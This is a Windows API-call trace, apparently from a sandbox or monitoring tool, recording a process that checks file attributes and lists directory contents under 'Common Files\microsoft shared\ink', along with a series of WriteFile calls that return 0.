	[0243.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc)) returned 1
	[0243.760] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2)) returned 1
	[0243.761] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38)) returned 1
	[0243.761] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a)) returned 1
	[0243.761] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.762] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1
	[0243.763] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0243.764] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62)) returned 1
	[0243.764] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44)) returned 1
	[0243.765] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4)) returned 1
	[0243.766] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6)) returned 1
	[0243.766] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c)) returned 1
	[0243.767] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a)) returned 1
	[0243.771] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de)) returned 1
	[0243.772] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da)) returned 1
	[0243.773] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08)) returned 1
	[0243.773] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42)) returned 1
	[0243.774] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14)) returned 1
	[0243.786] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28)) returned 1
	[0243.787] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6)) returned 1
	[0243.788] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1
	[0243.788] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54)) returned 1
	[0243.793] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee)) returned 1
	[0243.794] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08)) returned 1
	[0243.794] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24)) returned 1
	[0243.795] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8)) returned 1
	[0243.796] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0)) returned 1
	[0243.797] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.797] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd4c0
	[0243.799] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.799] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.799] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.799] FindClose (in: hFindFile=0x192c63cd4c0 | out: hFindFile=0x192c63cd4c0) returned 1
	[0243.799] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
